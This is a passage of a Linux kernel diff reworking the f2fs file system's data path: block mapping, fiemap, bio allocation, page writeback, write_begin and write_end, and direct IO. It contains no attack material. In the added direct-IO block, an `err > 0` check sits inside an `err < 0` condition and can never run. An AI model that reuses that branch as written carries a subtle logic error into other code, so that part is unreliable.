blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); + if (pgofs >= end) + goto sync_out; + else if (dn.ofs_in_node < end_offset) + goto next_block; - if (blkaddr == NEW_ADDR || blkaddr == NULL_ADDR) { - if (create) { - if (unlikely(f2fs_cp_error(sbi))) { - err = -EIO; - goto sync_out; - } - err = __allocate_data_block(&dn); - if (err) - goto sync_out; - allocated = true; - map->m_flags |= F2FS_MAP_NEW; - blkaddr = dn.data_blkaddr; - } else { - /* - * we only merge preallocated unwritten blocks - * for fiemap. - */ - if (flag != F2FS_GET_BLOCK_FIEMAP || - blkaddr != NEW_ADDR) - goto sync_out; - } - } + f2fs_put_dnode(&dn); - /* Give more consecutive addresses for the readahead */ - if ((map->m_pblk != NEW_ADDR && - blkaddr == (map->m_pblk + ofs)) || - (map->m_pblk == NEW_ADDR && - blkaddr == NEW_ADDR)) { - ofs++; - dn.ofs_in_node++; - pgofs++; - map->m_len++; - goto get_next; - } + if (create) { + f2fs_unlock_op(sbi); + f2fs_balance_fs(sbi, dn.node_changed); } + goto next_dnode; + sync_out: - if (allocated) - sync_inode_page(&dn); -put_out: f2fs_put_dnode(&dn); unlock_out: - if (create) - f2fs_unlock_op(F2FS_I_SB(inode)); + if (create) { + f2fs_unlock_op(sbi); + f2fs_balance_fs(sbi, dn.node_changed); + } out: trace_f2fs_map_blocks(inode, map, err); return err; } static int __get_data_block(struct inode *inode, sector_t iblock, - struct buffer_head *bh, int create, int flag) + struct buffer_head *bh, int create, int flag, + pgoff_t *next_pgofs) { struct f2fs_map_blocks map; - int ret; + int err; map.m_lblk = iblock; map.m_len = bh->b_size >> inode->i_blkbits; + map.m_next_pgofs = next_pgofs; - ret = f2fs_map_blocks(inode, &map, create, flag); - if (!ret) { + err = f2fs_map_blocks(inode, &map, create, flag); + if (!err) { map_bh(bh, inode->i_sb, map.m_pblk); bh->b_state = (bh->b_state & ~F2FS_MAP_FLAGS) | map.m_flags; bh->b_size = map.m_len << inode->i_blkbits; } - return ret; + return err; } static int get_data_block(struct inode *inode, sector_t iblock, - struct buffer_head *bh_result, int create, int flag) + struct buffer_head *bh_result, int create, int flag, + pgoff_t *next_pgofs) { - return __get_data_block(inode, iblock, bh_result, create, flag); + return __get_data_block(inode, iblock, bh_result, create, + flag, next_pgofs); } static int get_data_block_dio(struct inode *inode, sector_t iblock, struct buffer_head *bh_result, int create) { return __get_data_block(inode, iblock, bh_result, create, - F2FS_GET_BLOCK_DIO); + F2FS_GET_BLOCK_DIO, NULL); } static int get_data_block_bmap(struct inode *inode, sector_t iblock, struct buffer_head *bh_result, int create) { + /* Block number less than F2FS MAX BLOCKS */ + if (unlikely(iblock >= F2FS_I_SB(inode)->max_file_blocks)) + return -EFBIG; + return __get_data_block(inode, iblock, bh_result, create, - F2FS_GET_BLOCK_BMAP); + F2FS_GET_BLOCK_BMAP, NULL); } static inline sector_t logical_to_blk(struct inode *inode, loff_t offset) @@ -762,10 +949,9 @@ int f2fs_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, { struct buffer_head map_bh; sector_t start_blk, last_blk; - loff_t isize = i_size_read(inode); + pgoff_t next_pgofs; u64 logical = 0, phys = 0, size = 0; u32 flags = 0; - bool past_eof = false, whole_file = false; int ret = 0; ret = fiemap_check_flags(fieinfo, FIEMAP_FLAG_SYNC); @@ -778,82 +964,55 @@ int f2fs_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, return ret; } - mutex_lock(&inode->i_mutex); - - if (len >= isize) { - whole_file = true; - len = isize; - } + inode_lock(inode); if (logical_to_blk(inode, len) == 0) len = blk_to_logical(inode, 1); start_blk = logical_to_blk(inode, start); last_blk = logical_to_blk(inode, start + len - 1); + next: memset(&map_bh, 0, sizeof(struct buffer_head)); map_bh.b_size = len; ret = get_data_block(inode, start_blk, &map_bh, 0, - F2FS_GET_BLOCK_FIEMAP); + F2FS_GET_BLOCK_FIEMAP, &next_pgofs); if (ret) goto out; /* HOLE */ if (!buffer_mapped(&map_bh)) { - start_blk++; - - if (!past_eof && blk_to_logical(inode, start_blk) >= isize) - past_eof = 1; - - if (past_eof && size) { - flags |= FIEMAP_EXTENT_LAST; - ret = fiemap_fill_next_extent(fieinfo, logical, - phys, size, flags); - } else if (size) { - ret = fiemap_fill_next_extent(fieinfo, logical, - phys, size, flags); - size = 0; - } + start_blk = next_pgofs; - /* if we have holes up to/past EOF then we're done */ - if (start_blk > last_blk || past_eof || ret) - goto out; - } else { - if (start_blk > last_blk && !whole_file) { - ret = fiemap_fill_next_extent(fieinfo, logical, - phys, size, flags); - goto out; - } - - /* - * if size != 0 then we know we already have an extent - * to add, so add it. - */ - if (size) { - ret = fiemap_fill_next_extent(fieinfo, logical, - phys, size, flags); - if (ret) - goto out; - } + if (blk_to_logical(inode, start_blk) < blk_to_logical(inode, + F2FS_I_SB(inode)->max_file_blocks)) + goto prep_next; - logical = blk_to_logical(inode, start_blk); - phys = blk_to_logical(inode, map_bh.b_blocknr); - size = map_bh.b_size; - flags = 0; - if (buffer_unwritten(&map_bh)) - flags = FIEMAP_EXTENT_UNWRITTEN; + flags |= FIEMAP_EXTENT_LAST; + } - start_blk += logical_to_blk(inode, size); + if (size) { + if (f2fs_encrypted_inode(inode)) + flags |= FIEMAP_EXTENT_DATA_ENCRYPTED; - /* - * If we are past the EOF, then we need to make sure as - * soon as we find a hole that the last extent we found - * is marked with FIEMAP_EXTENT_LAST - */ - if (!past_eof && logical + size >= isize) - past_eof = true; + ret = fiemap_fill_next_extent(fieinfo, logical, + phys, size, flags); } + + if (start_blk > last_blk || ret) + goto out; + + logical = blk_to_logical(inode, start_blk); + phys = blk_to_logical(inode, map_bh.b_blocknr); + size = map_bh.b_size; + flags = 0; + if (buffer_unwritten(&map_bh)) + flags = FIEMAP_EXTENT_UNWRITTEN; + + start_blk += logical_to_blk(inode, size); + +prep_next: cond_resched(); if (fatal_signal_pending(current)) ret = -EINTR; @@ -863,10 +1022,39 @@ int f2fs_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, if (ret == 1) ret = 0; - mutex_unlock(&inode->i_mutex); + inode_unlock(inode); return ret; } +static struct bio *f2fs_grab_bio(struct inode *inode, block_t blkaddr, + unsigned nr_pages) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct fscrypt_ctx *ctx = NULL; + struct bio *bio; + + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) { + ctx = fscrypt_get_ctx(inode, GFP_NOFS); + if (IS_ERR(ctx)) + return ERR_CAST(ctx); + + /* wait the page to be moved by cleaning */ + f2fs_wait_on_encrypted_page_writeback(sbi, blkaddr); + } + + bio = bio_alloc(GFP_KERNEL, min_t(int, nr_pages, BIO_MAX_PAGES)); + if (!bio) { + if (ctx) + fscrypt_release_ctx(ctx); + return ERR_PTR(-ENOMEM); + } + f2fs_target_device(sbi, blkaddr, bio); + bio->bi_end_io = f2fs_read_end_io; + bio->bi_private = ctx; + + return bio; +} + /* * This function was originally taken from fs/mpage.c, and customized for f2fs. * Major change was from block_size == page_size in f2fs by default. @@ -885,13 +1073,13 @@ static int f2fs_mpage_readpages(struct address_space *mapping, sector_t last_block; sector_t last_block_in_file; sector_t block_nr; - struct block_device *bdev = inode->i_sb->s_bdev; struct f2fs_map_blocks map; map.m_pblk = 0; map.m_lblk = 0; map.m_len = 0; map.m_flags = 0; + map.m_next_pgofs = NULL; for (page_idx = 0; nr_pages; page_idx++, nr_pages--) { @@ -930,7 +1118,7 @@ static int f2fs_mpage_readpages(struct address_space *mapping, map.m_len = last_block - block_in_file; if (f2fs_map_blocks(inode, &map, 0, - F2FS_GET_BLOCK_READ)) + F2FS_GET_BLOCK_READ)) goto set_error_page; } got_it: @@ -943,8 +1131,9 @@ static int f2fs_mpage_readpages(struct address_space *mapping, goto confused; } } else { - zero_user_segment(page, 0, PAGE_CACHE_SIZE); - SetPageUptodate(page); + zero_user_segment(page, 0, PAGE_SIZE); + if (!PageUptodate(page)) + SetPageUptodate(page); unlock_page(page); goto next_page; } @@ -953,37 +1142,18 @@ static int f2fs_mpage_readpages(struct address_space *mapping, * This page will go to BIO. Do we need to send this * BIO off first? */ - if (bio && (last_block_in_bio != block_nr - 1)) { + if (bio && (last_block_in_bio != block_nr - 1 || + !__same_bdev(F2FS_I_SB(inode), block_nr, bio))) { submit_and_realloc: - submit_bio(READ, bio); + __submit_bio(F2FS_I_SB(inode), READ, bio, DATA); bio = NULL; } if (bio == NULL) { - struct f2fs_crypto_ctx *ctx = NULL; - - if (f2fs_encrypted_inode(inode) && - S_ISREG(inode->i_mode)) { - - ctx = f2fs_get_crypto_ctx(inode); - if (IS_ERR(ctx)) - goto set_error_page; - - /* wait the page to be moved by cleaning */ - f2fs_wait_on_encrypted_page_writeback( - F2FS_I_SB(inode), block_nr); - } - - bio = bio_alloc(GFP_KERNEL, - min_t(int, nr_pages, bio_get_nr_vecs(bdev))); - if (!bio) { - if (ctx) - f2fs_release_crypto_ctx(ctx); + bio = f2fs_grab_bio(inode, block_nr, nr_pages); + if (IS_ERR(bio)) { + bio = NULL; goto set_error_page; } - bio->bi_bdev = bdev; - bio->bi_sector = SECTOR_FROM_BLOCK(block_nr); - bio->bi_end_io = f2fs_read_end_io; - bio->bi_private = ctx; } if (bio_add_page(bio, page, blocksize, 0) < blocksize) @@ -993,22 +1163,22 @@ static int f2fs_mpage_readpages(struct address_space *mapping, goto next_page; set_error_page: SetPageError(page); - zero_user_segment(page, 0, PAGE_CACHE_SIZE); + zero_user_segment(page, 0, PAGE_SIZE); unlock_page(page); goto next_page; confused: if (bio) { - submit_bio(READ, bio); + __submit_bio(F2FS_I_SB(inode), READ, bio, DATA); bio = NULL; } unlock_page(page); next_page: if (pages) - page_cache_release(page); + put_page(page); } BUG_ON(pages && !list_empty(pages)); if (bio) - submit_bio(READ, bio); + __submit_bio(F2FS_I_SB(inode), READ, bio, DATA); return 0; } @@ -1055,23 +1225,33 @@ int do_write_data_page(struct f2fs_io_info *fio) if (err) return err; - fio->blk_addr = dn.data_blkaddr; + fio->old_blkaddr = dn.data_blkaddr; /* This page is already truncated */ - if (fio->blk_addr == NULL_ADDR) { + if (fio->old_blkaddr == NULL_ADDR) { ClearPageUptodate(page); goto out_writepage; } if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) { + gfp_t gfp_flags = GFP_NOFS; /* wait for GCed encrypted page writeback */ f2fs_wait_on_encrypted_page_writeback(F2FS_I_SB(inode), - fio->blk_addr); - - fio->encrypted_page = f2fs_encrypt(inode, fio->page); + fio->old_blkaddr); +retry_encrypt: + fio->encrypted_page = fscrypt_encrypt_page(inode, fio->page, + gfp_flags); if (IS_ERR(fio->encrypted_page)) { err = PTR_ERR(fio->encrypted_page); + if (err == -ENOMEM) { + /* flush pending ios and wait for a while */ + f2fs_flush_merged_bios(F2FS_I_SB(inode)); + congestion_wait(BLK_RW_ASYNC, HZ/50); + gfp_flags |= __GFP_NOFAIL; + err = 0; + goto retry_encrypt; + } goto out_writepage; } } @@ -1082,20 +1262,19 @@ int do_write_data_page(struct f2fs_io_info *fio) * If current allocation needs SSR, * it had better in-place writes for updated data. */ - if (unlikely(fio->blk_addr != NEW_ADDR && + if (unlikely(fio->old_blkaddr != NEW_ADDR && !is_cold_data(page) && + !IS_ATOMIC_WRITTEN_PAGE(page) && need_inplace_update(inode))) { rewrite_data_page(fio); - set_inode_flag(F2FS_I(inode), FI_UPDATE_WRITE); + set_inode_flag(inode, FI_UPDATE_WRITE); trace_f2fs_do_write_data_page(page, IPU); } else { write_data_page(&dn, fio); - set_data_blkaddr(&dn); - f2fs_update_extent_cache(&dn); trace_f2fs_do_write_data_page(page, OPU); - set_inode_flag(F2FS_I(inode), FI_APPEND_WRITE); + set_inode_flag(inode, FI_APPEND_WRITE); if (page->index == 0) - set_inode_flag(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); + set_inode_flag(inode, FI_FIRST_BLOCK_WRITTEN); } out_writepage: f2fs_put_dnode(&dn); @@ -1109,7 +1288,8 @@ static int f2fs_write_data_page(struct page *page, struct f2fs_sb_info *sbi = F2FS_I_SB(inode); loff_t i_size = i_size_read(inode); const pgoff_t end_index = ((unsigned long long) i_size) - >> PAGE_CACHE_SHIFT; + >> PAGE_SHIFT; + loff_t psize = (page->index + 1) << PAGE_SHIFT; unsigned offset = 0; bool need_balance_fs = false; int err = 0; @@ -1130,37 +1310,37 @@ static int f2fs_write_data_page(struct page *page, * If the offset is out-of-range of file size, * this page does not have to be written to disk. */ - offset = i_size & (PAGE_CACHE_SIZE - 1); + offset = i_size & (PAGE_SIZE - 1); if ((page->index >= end_index + 1) || !offset) goto out; - zero_user_segment(page, offset, PAGE_CACHE_SIZE); + zero_user_segment(page, offset, PAGE_SIZE); write: if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) goto redirty_out; if (f2fs_is_drop_cache(inode)) goto out; - if (f2fs_is_volatile_file(inode) && !wbc->for_reclaim && - available_free_memory(sbi, BASE_CHECK)) + /* we should not write 0'th page having journal header */ + if (f2fs_is_volatile_file(inode) && (!page->index || + (!wbc->for_reclaim && + available_free_memory(sbi, BASE_CHECK)))) goto redirty_out; + /* we should bypass data pages to proceed the kworkder jobs */ + if (unlikely(f2fs_cp_error(sbi))) { + mapping_set_error(page->mapping, -EIO); + goto out; + } + /* Dentry blocks are controlled by checkpoint */ if (S_ISDIR(inode->i_mode)) { - if (unlikely(f2fs_cp_error(sbi))) - goto redirty_out; err = do_write_data_page(&fio); goto done; } - /* we should bypass data pages to proceed the kworkder jobs */ - if (unlikely(f2fs_cp_error(sbi))) { - SetPageError(page); - goto out; - } - if (!wbc->for_reclaim) need_balance_fs = true; - else if (has_not_enough_free_secs(sbi, 0)) + else if (has_not_enough_free_secs(sbi, 0, 0)) goto redirty_out; err = -EAGAIN; @@ -1169,35 +1349,37 @@ static int f2fs_write_data_page(struct page *page, err = f2fs_write_inline_data(inode, page); if (err == -EAGAIN) err = do_write_data_page(&fio); + if (F2FS_I(inode)->last_disk_size < psize) + F2FS_I(inode)->last_disk_size = psize; f2fs_unlock_op(sbi); done: if (err && err != -ENOENT) goto redirty_out; - clear_cold_data(page); out: inode_dec_dirty_pages(inode); if (err) ClearPageUptodate(page); + + if (wbc->for_reclaim) { + f2fs_submit_merged_bio_cond(sbi, NULL, page, 0, DATA, WRITE); + remove_dirty_inode(inode); + } + unlock_page(page); - if (need_balance_fs) - f2fs_balance_fs(sbi); - if (wbc->for_reclaim) + f2fs_balance_fs(sbi, need_balance_fs); + + if (unlikely(f2fs_cp_error(sbi))) f2fs_submit_merged_bio(sbi, DATA, WRITE); + return 0; redirty_out: redirty_page_for_writepage(wbc, page); - return AOP_WRITEPAGE_ACTIVATE; -} - -static int __f2fs_writepage(struct page *page, struct writeback_control *wbc, - void *data) -{ - struct address_space *mapping = data; - int ret = mapping->a_ops->writepage(page, wbc); - mapping_set_error(mapping, ret); - return ret; + if (!err) + return AOP_WRITEPAGE_ACTIVATE; + unlock_page(page); + return err; } /* @@ -1206,8 +1388,7 @@ static int __f2fs_writepage(struct page *page, struct writeback_control *wbc, * warm/hot data page. */ static int f2fs_write_cache_pages(struct address_space *mapping, - struct writeback_control *wbc, writepage_t writepage, - void *data) + struct writeback_control *wbc) { int ret = 0; int done = 0; @@ -1220,10 +1401,10 @@ static int f2fs_write_cache_pages(struct address_space *mapping, int cycled; int range_whole = 0; int tag; - int step = 0; + int nwritten = 0; pagevec_init(&pvec, 0); -next: + if (wbc->range_cyclic) { writeback_index = mapping->writeback_index; /* prev offset */ index = writeback_index; @@ -1233,8 +1414,8 @@ static int f2fs_write_cache_pages(struct address_space *mapping, cycled = 0; end = -1; } else { - index = wbc->range_start >> PAGE_CACHE_SHIFT; - end = wbc->range_end >> PAGE_CACHE_SHIFT; + index = wbc->range_start >> PAGE_SHIFT; + end = wbc->range_end >> PAGE_SHIFT; if (wbc->range_start == 0 && wbc->range_end == LLONG_MAX) range_whole = 1; cycled = 1; /* ignore range_cyclic tests */ @@ -1278,12 +1459,10 @@ static int f2fs_write_cache_pages(struct address_space *mapping, goto continue_unlock; } - if (step == is_cold_data(page)) - goto continue_unlock; - if (PageWriteback(page)) { if (wbc->sync_mode != WB_SYNC_NONE) - f2fs_wait_on_page_writeback(page, DATA); + f2fs_wait_on_page_writeback(page, + DATA, true); else goto continue_unlock; } @@ -1292,16 +1471,22 @@ static int f2fs_write_cache_pages(struct address_space *mapping, if (!clear_page_dirty_for_io(page)) goto continue_unlock; - ret = (*writepage)(page, wbc, data); + ret = mapping->a_ops->writepage(page, wbc); if (unlikely(ret)) { + /* + * keep nr_to_write, since vfs uses this to + * get # of written pages. + */ if (ret == AOP_WRITEPAGE_ACTIVATE) { unlock_page(page); ret = 0; - } else { - done_index = page->index + 1; - done = 1; - break; + continue; } + done_index = page->index + 1; + done = 1; + break; + } else { + nwritten++; } if (--wbc->nr_to_write <= 0 && @@ -1314,11 +1499,6 @@ static int f2fs_write_cache_pages(struct address_space *mapping, cond_resched(); } - if (step < 1) { - step++; - goto next; - } - if (!cycled && !done) { cycled = 1; index = 0; @@ -1328,6 +1508,10 @@ static int f2fs_write_cache_pages(struct address_space *mapping, if (wbc->range_cyclic || (range_whole && wbc->nr_to_write > 0)) mapping->writeback_index = done_index; + if (nwritten) + f2fs_submit_merged_bio_cond(F2FS_M_SB(mapping), mapping->host, + NULL, 0, DATA, WRITE); + return ret; } @@ -1336,11 +1520,8 @@ static int f2fs_write_data_pages(struct address_space *mapping, { struct inode *inode = mapping->host; struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - bool locked = false; + struct blk_plug plug; int ret; - long diff; - - trace_f2fs_writepages(mapping->host, wbc, DATA); /* deal with chardevs and other special file */ if (!mapping->a_ops->writepage) @@ -1355,41 +1536,119 @@ static int f2fs_write_data_pages(struct address_space *mapping, available_free_memory(sbi, DIRTY_DENTS)) goto skip_write; + /* skip writing during file defragment */ + if (is_inode_flag_set(inode, FI_DO_DEFRAG)) + goto skip_write; + /* during POR, we don't need to trigger writepage at all. */ if (unlikely(is_sbi_flag_set(sbi, SBI_POR_DOING))) goto skip_write; - diff = nr_pages_to_write(sbi, DATA, wbc); - - if (!S_ISDIR(inode->i_mode)) { - mutex_lock(&sbi->writepages); - locked = true; - } - ret = f2fs_write_cache_pages(mapping, wbc, __f2fs_writepage, mapping); - f2fs_submit_merged_bio(sbi, DATA, WRITE); - if (locked) - mutex_unlock(&sbi->writepages); + trace_f2fs_writepages(mapping->host, wbc, DATA); - remove_dirty_dir_inode(inode); + blk_start_plug(&plug); + ret = f2fs_write_cache_pages(mapping, wbc); + blk_finish_plug(&plug); + /* + * if some pages were truncated, we cannot guarantee its mapping->host + * to detect pending bios. + */ - wbc->nr_to_write = max((long)0, wbc->nr_to_write - diff); + remove_dirty_inode(inode); return ret; skip_write: wbc->pages_skipped += get_dirty_pages(inode); + trace_f2fs_writepages(mapping->host, wbc, DATA); return 0; } static void f2fs_write_failed(struct address_space *mapping, loff_t to) { struct inode *inode = mapping->host; + loff_t i_size = i_size_read(inode); - if (to > inode->i_size) { - truncate_pagecache(inode, 0, inode->i_size); - truncate_blocks(inode, inode->i_size, true); + if (to > i_size) { + truncate_pagecache(inode, 0, i_size); + truncate_blocks(inode, i_size, true); } } +static int prepare_write_begin(struct f2fs_sb_info *sbi, + struct page *page, loff_t pos, unsigned len, + block_t *blk_addr, bool *node_changed) +{ + struct inode *inode = page->mapping->host; + pgoff_t index = page->index; + struct dnode_of_data dn; + struct page *ipage; + bool locked = false; + struct extent_info ei; + int err = 0; + + /* + * we already allocated all the blocks, so we don't need to get + * the block addresses when there is no need to fill the page. + */ + if (!f2fs_has_inline_data(inode) && len == PAGE_SIZE) + return 0; + + if (f2fs_has_inline_data(inode) || + (pos & PAGE_MASK) >= i_size_read(inode)) { + f2fs_lock_op(sbi); + locked = true; + } +restart: + /* check inline_data */ + ipage = get_node_page(sbi, inode->i_ino); + if (IS_ERR(ipage)) { + err = PTR_ERR(ipage); + goto unlock_out; + } + + set_new_dnode(&dn, inode, ipage, ipage, 0); + + if (f2fs_has_inline_data(inode)) { + if (pos + len <= MAX_INLINE_DATA) { + read_inline_data(page, ipage); + set_inode_flag(inode, FI_DATA_EXIST); + if (inode->i_nlink) + set_inline_node(ipage); + } else { + err = f2fs_convert_inline_page(&dn, page); + if (err) + goto out; + if (dn.data_blkaddr == NULL_ADDR) + err = f2fs_get_block(&dn, index); + } + } else if (locked) { + err = f2fs_get_block(&dn, index); + } else { + if (f2fs_lookup_extent_cache(inode, index, &ei)) { + dn.data_blkaddr = ei.blk + index - ei.fofs; + } else { + /* hole case */ + err = get_dnode_of_data(&dn, index, LOOKUP_NODE); + if (err || dn.data_blkaddr == NULL_ADDR) { + f2fs_put_dnode(&dn); + f2fs_lock_op(sbi); + locked = true; + goto restart; + } + } + } + + /* convert_inline_page can make node_changed */ + *blk_addr = dn.data_blkaddr; + *node_changed = dn.node_changed; +out: + f2fs_put_dnode(&dn); +unlock_out: + if (locked) + f2fs_unlock_op(sbi); + return err; +} + static int f2fs_write_begin(struct file *file, struct address_space *mapping, loff_t pos, unsigned len, unsigned flags, struct page **pagep, void **fsdata) @@ -1397,15 +1656,13 @@ static int f2fs_write_begin(struct file *file, struct address_space *mapping, struct inode *inode = mapping->host; struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct page *page = NULL; - struct page *ipage; - pgoff_t index = ((unsigned long long) pos) >> PAGE_CACHE_SHIFT; - struct dnode_of_data dn; + pgoff_t index = ((unsigned long long) pos) >> PAGE_SHIFT; + bool need_balance = false; + block_t blkaddr = NULL_ADDR; int err = 0; trace_f2fs_write_begin(inode, pos, len, flags); - f2fs_balance_fs(sbi); - /* * We should check this at this moment to avoid deadlock on inode page * and #0 page. The locking rule for inline_data conversion should be: @@ -1425,98 +1682,63 @@ static int f2fs_write_begin(struct file *file, struct address_space *mapping, *pagep = page; - f2fs_lock_op(sbi); - - /* check inline_data */ - ipage = get_node_page(sbi, inode->i_ino); - if (IS_ERR(ipage)) { - err = PTR_ERR(ipage); - goto unlock_fail; - } - - set_new_dnode(&dn, inode, ipage, ipage, 0); + err = prepare_write_begin(sbi, page, pos, len, + &blkaddr, &need_balance); + if (err) + goto fail; - if (f2fs_has_inline_data(inode)) { - if (pos + len <= MAX_INLINE_DATA) { - read_inline_data(page, ipage); - set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); - sync_inode_page(&dn); - goto put_next; + if (need_balance && has_not_enough_free_secs(sbi, 0, 0)) { + unlock_page(page); + f2fs_balance_fs(sbi, true); + lock_page(page); + if (page->mapping != mapping) { + /* The page got truncated from under us */ + f2fs_put_page(page, 1); + goto repeat; } - err = f2fs_convert_inline_page(&dn, page); - if (err) - goto put_fail; } - err = f2fs_get_block(&dn, index); - if (err) - goto put_fail; -put_next: - f2fs_put_dnode(&dn); - f2fs_unlock_op(sbi); - - f2fs_wait_on_page_writeback(page, DATA); + f2fs_wait_on_page_writeback(page, DATA, false); /* wait for GCed encrypted page writeback */ if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) - f2fs_wait_on_encrypted_page_writeback(sbi, dn.data_blkaddr); - - if (len == PAGE_CACHE_SIZE) - goto out_update; - if (PageUptodate(page)) - goto out_clear; - - if ((pos & PAGE_CACHE_MASK) >= i_size_read(inode)) { - unsigned start = pos & (PAGE_CACHE_SIZE - 1); - unsigned end = start + len; + f2fs_wait_on_encrypted_page_writeback(sbi, blkaddr); - /* Reading beyond i_size is simple: memset to zero */ - zero_user_segments(page, 0, start, end, PAGE_CACHE_SIZE); - goto out_update; - } + if (len == PAGE_SIZE || PageUptodate(page)) + return 0; - if (dn.data_blkaddr == NEW_ADDR) { - zero_user_segment(page, 0, PAGE_CACHE_SIZE); + if (blkaddr == NEW_ADDR) { + zero_user_segment(page, 0, PAGE_SIZE); + SetPageUptodate(page); } else { - struct f2fs_io_info fio = { - .sbi = sbi, - .type = DATA, - .rw = READ_SYNC, - .blk_addr = dn.data_blkaddr, - .page = page, - .encrypted_page = NULL, - }; - err = f2fs_submit_page_bio(&fio); - if (err) + struct bio *bio; + + bio = f2fs_grab_bio(inode, blkaddr, 1); + if (IS_ERR(bio)) { + err = PTR_ERR(bio); goto fail; + } - lock_page(page); - if (unlikely(!PageUptodate(page))) { - err = -EIO; + if (bio_add_page(bio, page, PAGE_SIZE, 0) < PAGE_SIZE) { + bio_put(bio); + err = -EFAULT; goto fail; } + + __submit_bio(sbi, READ_SYNC, bio, DATA); + + lock_page(page); if (unlikely(page->mapping != mapping)) { f2fs_put_page(page, 1); goto repeat; } - - /* avoid symlink page */ - if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) { - err = f2fs_decrypt_one(inode, page); - if (err) - goto fail; + if (unlikely(!PageUptodate(page))) { + err = -EIO; + goto fail; } } -out_update: - SetPageUptodate(page); -out_clear: - clear_cold_data(page); return 0; -put_fail: - f2fs_put_dnode(&dn); -unlock_fail: - f2fs_unlock_op(sbi); fail: f2fs_put_page(page, 1); f2fs_write_failed(mapping, pos + len); @@ -1532,15 +1754,27 @@ static int f2fs_write_end(struct file *file, trace_f2fs_write_end(inode, pos, len, copied); - set_page_dirty(page); - - if (pos + copied > i_size_read(inode)) { - i_size_write(inode, pos + copied); - mark_inode_dirty(inode); - update_inode_page(inode); + /* + * This should be come from len == PAGE_SIZE, and we expect copied + * should be PAGE_SIZE. Otherwise, we treat it with zero copied and + * let generic_perform_write() try to copy data again through copied=0. + */ + if (!PageUptodate(page)) { + if (unlikely(copied != PAGE_SIZE)) + copied = 0; + else + SetPageUptodate(page); } + if (!copied) + goto unlock_out; + set_page_dirty(page); + + if (pos + copied > i_size_read(inode)) + f2fs_i_size_write(inode, pos + copied); +unlock_out: f2fs_put_page(page, 1); + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); return copied; } @@ -1588,41 +1822,30 @@ static ssize_t f2fs_direct_IO(int rw, struct kiocb *iocb, const struct iovec *iov, loff_t offset, unsigned long nr_segs) { - struct file *file = iocb->ki_filp; - struct address_space *mapping = file->f_mapping; + struct address_space *mapping = iocb->ki_filp->f_mapping; struct inode *inode = mapping->host; size_t count = iov_length(iov, nr_segs); int err; - /* we don't need to use inline_data strictly */ - if (f2fs_has_inline_data(inode)) { - err = f2fs_convert_inline_inode(inode); - if (err) - return err; - } - - if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) - return 0; - err = check_direct_IO(inode, rw, iov, offset, nr_segs); if (err) return err; - trace_f2fs_direct_IO_enter(inode, offset, count, rw); + if (__force_buffered_io(inode, rw)) + return 0; - if (rw & WRITE) { - __allocate_data_blocks(inode, offset, count); - if (unlikely(f2fs_cp_error(F2FS_I_SB(inode)))) { - err = -EIO; - goto out; - } - } + trace_f2fs_direct_IO_enter(inode, offset, count, rw); + down_read(&F2FS_I(inode)->dio_rwsem[rw]); err = blockdev_direct_IO(rw, iocb, inode, iov, offset, nr_segs, get_data_block_dio); -out: - if (err < 0 && (rw & WRITE)) - f2fs_write_failed(mapping, offset + count); + up_read(&F2FS_I(inode)->dio_rwsem[rw]); + if (err < 0 && (rw & WRITE)) { + if (err > 0) + set_inode_flag(inode, FI_UPDATE_WRITE); + else if (err < 0) + f2fs_write_failed(mapping, offset + count); + } trace_f2fs_direct_IO_exit(inode, offset, count, rw, err); @@ -1634,22 +1857,25 @@ void f2fs_invalidate_page(struct page *page, unsigned long offset) struct inode *inode = page->mapping->host; struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - if (inode->i_ino >= F2FS_ROOT_INO(sbi) && (offset % PAGE_CACHE_SIZE)) + if (inode->i_ino >= F2FS_ROOT_INO(sbi) && (offset % PAGE_SIZE)) return; if (PageDirty(page)) { - if (inode->i_ino == F2FS_META_INO(sbi)) + if (inode->i_ino == F2FS_META_INO(sbi)) { dec_page_count(sbi, F2FS_DIRTY_META); - else if (inode->i_ino == F2FS_NODE_INO(sbi)) + } else if (inode->i_ino == F2FS_NODE_INO(sbi)) { dec_page_count(sbi, F2FS_DIRTY_NODES); - else + } else { inode_dec_dirty_pages(inode); + remove_dirty_inode(inode); + } } /* This is atomic written page, keep Private */ if (IS_ATOMIC_WRITTEN_PAGE(page)) return; + set_page_private(page, 0); ClearPagePrivate(page); } @@ -1663,10 +1889,38 @@ int f2fs_release_page(struct page *page, gfp_t wait) if (IS_ATOMIC_WRITTEN_PAGE(page)) return 0; + set_page_private(page, 0); ClearPagePrivate(page); return 1; } +/* + * This was copied from __set_page_dirty_buffers which gives higher performance + * in very high speed storages. (e.g., pmem) + */ +void f2fs_set_page_dirty_nobuffers(struct page *page) +{ + struct address_space *mapping = page->mapping; + unsigned long flags; + + if (unlikely(!mapping)) + return; + + spin_lock(&mapping->private_lock); + SetPageDirty(page); + spin_unlock(&mapping->private_lock); + + spin_lock_irqsave(&mapping->tree_lock, flags); + WARN_ON_ONCE(!PageUptodate(page)); + account_page_dirtied(page, mapping); + radix_tree_tag_set(&mapping->page_tree, + page_index(page), PAGECACHE_TAG_DIRTY); + spin_unlock_irqrestore(&mapping->tree_lock, flags); + + __mark_inode_dirty(mapping->host, I_DIRTY_PAGES); + return; +} + static int f2fs_set_data_page_dirty(struct page *page) { struct address_space *mapping = page->mapping; @@ -1674,7 +1928,8 @@ static int f2fs_set_data_page_dirty(struct page *page) trace_f2fs_set_page_dirty(page, DATA); - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); if (f2fs_is_atomic_file(inode)) { if (!IS_ATOMIC_WRITTEN_PAGE(page)) { @@ -1689,7 +1944,7 @@ static int f2fs_set_data_page_dirty(struct page *page) } if 